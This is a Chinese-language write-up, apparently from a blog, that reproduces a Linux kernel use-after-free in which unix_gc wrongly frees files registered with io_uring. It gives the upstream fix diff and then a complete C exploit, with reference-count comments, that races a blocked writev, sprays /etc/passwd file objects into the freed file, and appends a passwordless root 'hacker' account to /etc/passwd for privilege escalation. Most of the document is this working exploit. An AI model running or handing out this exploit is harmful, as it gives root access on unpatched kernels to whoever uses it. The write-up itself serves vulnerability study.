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2022年百度seo,seo搜索引擎优化就业前景,品牌公关,怎样设计电子商务网站的建设前言复现该漏洞只是为了学习相关知识，在这里仅仅做简单记录下 exp，关于漏洞的详细内容请参考其他文章，最后在 v5.18.19 内核版本上复现成功，v6.0.2 复现失败漏洞利用 diff --git a/include/linux/skbuff.h b/include/linux/s…

前言

复现该漏洞只是为了学习相关知识，在这里仅仅做简单记录下 exp，关于漏洞的详细内容请参考其他文章，最后在 v5.18.19 内核版本上复现成功，v6.0.2 复现失败

漏洞利用

diff --git a/include/linux/skbuff.h b/include/linux/skbuff.h
index 9fcf534f2d9272..7be5bb4c94b6d8 100644
--- a/include/linux/skbuff.h
+++ b/include/linux/skbuff.h
@@ -803,6 +803,7 @@ typedef unsigned char *sk_buff_data_t;*	@csum_level: indicates the number of consecutive checksums found in*		the packet minus one that have been verified as*		CHECKSUM_UNNECESSARY (max 3)
+ *	@scm_io_uring: SKB holds io_uring registered files*	@dst_pending_confirm: need to confirm neighbour*	@decrypted: Decrypted SKB*	@slow_gro: state present at GRO time, slower prepare step required
@@ -982,6 +983,7 @@ struct sk_buff {#endif__u8			slow_gro:1;__u8			csum_not_inet:1;
+	__u8			scm_io_uring:1;#ifdef CONFIG_NET_SCHED__u16			tc_index;	/* traffic control index */
diff --git a/io_uring/rsrc.c b/io_uring/rsrc.c
index 6f88ded0e7e564..012fdb04ec238e 100644
--- a/io_uring/rsrc.c
+++ b/io_uring/rsrc.c
@@ -855,6 +855,7 @@ int __io_scm_file_account(struct io_ring_ctx *ctx, struct file *file)UNIXCB(skb).fp = fpl;skb->sk = sk;
+		skb->scm_io_uring = 1;skb->destructor = unix_destruct_scm;refcount_add(skb->truesize, &sk->sk_wmem_alloc);}
diff --git a/net/unix/garbage.c b/net/unix/garbage.c
index d45d5366115a76..dc276354039321 100644
--- a/net/unix/garbage.c
+++ b/net/unix/garbage.c
@@ -204,6 +204,7 @@ void wait_for_unix_gc(void)/* The external entry point: unix_gc() */void unix_gc(void){
+	struct sk_buff *next_skb, *skb;struct unix_sock *u;struct unix_sock *next;struct sk_buff_head hitlist;
@@ -297,11 +298,30 @@ void unix_gc(void)spin_unlock(&unix_gc_lock);+	/* We need io_uring to clean its registered files, ignore all io_uring
+	 * originated skbs. It's fine as io_uring doesn't keep references to
+	 * other io_uring instances and so killing all other files in the cycle
+	 * will put all io_uring references forcing it to go through normal
+	 * release.path eventually putting registered files.
+	 */
+	skb_queue_walk_safe(&hitlist, skb, next_skb) {
+		if (skb->scm_io_uring) {
+			__skb_unlink(skb, &hitlist);
+			skb_queue_tail(&skb->sk->sk_receive_queue, skb);
+		}
+	}
+/* Here we are. Hitlist is filled. Die. */__skb_queue_purge(&hitlist);spin_lock(&unix_gc_lock);+	/* There could be io_uring registered files, just push them back to
+	 * the inflight list
+	 */
+	list_for_each_entry_safe(u, next, &gc_candidates, link)
+		list_move_tail(&u->link, &gc_inflight_list);
+/* All candidates should have been detached by now. */BUG_ON(!list_empty(&gc_candidates));

unix_gc 错误释放 io_uring 注册的文件导致的 file UAF

exp 如下：

#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <semaphore.h>
#include <poll.h>
#include <sched.h>
#include <liburing.h>
#include <assert.h>void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}void prepare() {system("touch /tmp/dummy");system("chmod 777 /tmp/dummy");
}static int run_wait_lock = 0;
void* slow_write() {#define PAGE_SIZE 0x1000#define WRITE_PAGE_NUMS 0x3333puts("[+] Start in slow_write");int fd = open("/tmp/dummy", O_RDWR);if (fd < 0) err_exit("FAILED to open /tmp/dummy");uint64_t start_addr = 0x30000000;uint64_t write_len = (WRITE_PAGE_NUMS - 1) * PAGE_SIZE;uint64_t i;for (i = 0; i < WRITE_PAGE_NUMS; i++) {void *addr = mmap((void*)(start_addr+i*PAGE_SIZE), PAGE_SIZE,PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);if (addr == MAP_FAILED) err_exit("mmap");}assert(i > 0);struct iovec iovs[20];for (i = 0; i < 20; i++) {iovs[i].iov_base = (void*)start_addr;iovs[i].iov_len = (WRITE_PAGE_NUMS - 1) * PAGE_SIZE;}puts("[+] Occupying inode lock");run_wait_lock = 1;if (writev(fd, iovs, 20) < 0) {err_exit("write");}close(fd);puts("[+] End in slow_write");puts("[+] Waiting for 10 senonds");sleep(10);exit(0);
}void sendfd(int sfd, int fd) {struct msghdr msg;char control_buf[4096] = { 0 };struct cmsghdr* cmsg;int fds[1] = { fd };memset(&msg, 0, sizeof(msg));msg.msg_control = control_buf;msg.msg_controllen = sizeof(control_buf);cmsg = CMSG_FIRSTHDR(&msg);cmsg->cmsg_level = SOL_SOCKET;cmsg->cmsg_type = SCM_RIGHTS;cmsg->cmsg_len = CMSG_LEN(sizeof(fds));memcpy(CMSG_DATA(cmsg), &fds, sizeof(fds));msg.msg_controllen = CMSG_SPACE(sizeof(fds));sendmsg(sfd, &msg, 0);
}int main() {int s[2];int rfd[2];int io_uring_fd;pthread_t thr1;struct io_uring_sqe* sqe;struct io_uring ring;struct stat st;struct iovec iov[1];int fds[300];int i = 0;bind_core(0);prepare();for (i = 0; i < 300; i++) {if ((fds[i] = open("/etc/passwd", O_RDONLY)) < 0)err_exit("open /etc/passwd");}stat("/etc/passwd", &st);int size = 0;int orig_size = st.st_size;/* hacker::0:0:/root:/root:/bin/sh\n */iov[0].iov_base = "hacker::0:0:/root:/root:/bin/sh\n";iov[0].iov_len = strlen(iov[0].iov_base);// s[0]         ref_count = 1// s[1]         ref_count = 1if (socketpair(AF_UNIX, SOCK_DGRAM, 0, s) < 0) err_exit("sockerpair");// s[0]         ref_count = 1// s[1]         ref_count = 1// io_uring_fd  ref_count = 1// rfd[1]       ref_count = 1io_uring_queue_init(32, &ring, IORING_SETUP_SQPOLL);sqe = io_uring_get_sqe(&ring);printf("[+] sqe: %p\n", sqe);io_uring_fd = ring.ring_fd;printf("[+] io_uring_fd: %d\n", io_uring_fd);if (io_uring_fd < 0) err_exit("io_uring_queue_init");rfd[0] = s[1];rfd[1] = open("/tmp/dummy", O_RDWR|O_APPEND);// s[0]         ref_count = 1// s[1]         ref_count = 2   inflight = 1// io_uring_fd  ref_count = 1// rfd[1]       ref_count = 2// io_uring.sk_recvive_queue -> rfd {s[1], rfd[1]}io_uring_register_files(&ring, rfd, 2);sqe->opcode = IORING_OP_WRITEV;sqe->fd = 1;sqe->addr = (long long)iov;sqe->len = 1;sqe->flags = IOSQE_FIXED_FILE;// s[0]         ref_count = 1// s[1]         ref_count = 2   inflight = 1// io_uring_fd  ref_count = 1// rfd[1]       ref_count = 1// io_uring.sk_recvive_queue -> rfd {s[1], rfd[1]}close(rfd[1]);// s[0]         ref_count = 1// s[1]         ref_count = 2   inflight = 1// io_uring_fd  ref_count = 2   inflight = 1// rfd[1]       ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue     -> io_uring_fdsendfd(s[0], io_uring_fd);// s[0]         ref_count = 0 ==> free// s[1]         ref_count = 1   inflight = 1// io_uring_fd  ref_count = 2   inflight = 1// rfd[1]       ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue     -> io_uring_fdclose(s[0]);close(s[1]);// 占据 inode 锁pthread_create(&thr1, NULL, slow_write, NULL);// writev 等待 inode 锁while (!run_wait_lock) {}sleep(2);io_uring_submit(&ring);// s[0]         ref_count = 0 ==> free// s[1]         ref_count = 1   inflight = 1// io_uring_fd  ref_count = 1   inflight = 1// rfd[1]       ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue     -> io_uring_fdio_uring_queue_exit(&ring);puts("[+] Triggering unix_gc");// 触发 unix_gc// s[0]         ref_count = 0 ==> free// s[1]         ref_count = 1   inflight = 1// io_uring_fd  ref_count = 1   inflight = 1// rfd[1]       ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue     -> io_uring_fd// 此时 rfd[1] 被错误的释放 ==> rfd[1]sleep(2);for (i = 0; i < 150; i++) {close(fds[i+2]);}close(socket(AF_UNIX, SOCK_DGRAM, 0));puts("[+] unix_gc done");puts("[+] Spray /etc/passwd file");// 打开大量 /etc/passwd 去占据 uaf_filefor (i = 0; i < 700; i++) {if (open("/etc/passwd", O_RDONLY) < 0) {printf("[X] Error at %d\n", i);err_exit("FAILED to spray file");}}// 等待 writev 获取 inode 锁，从而写 /etc/passwd// 当 /etc/passwd 文件大小发送变化时，说明成功向 /etc/passwd 写入恶意数据puts("[+] Waiting for overwriting /etc/passwd");while (orig_size == st.st_size) {stat("/etc/passwd", &st);size = st.st_size;sleep(1);}puts("[+] su hacker to get root");return 0;
}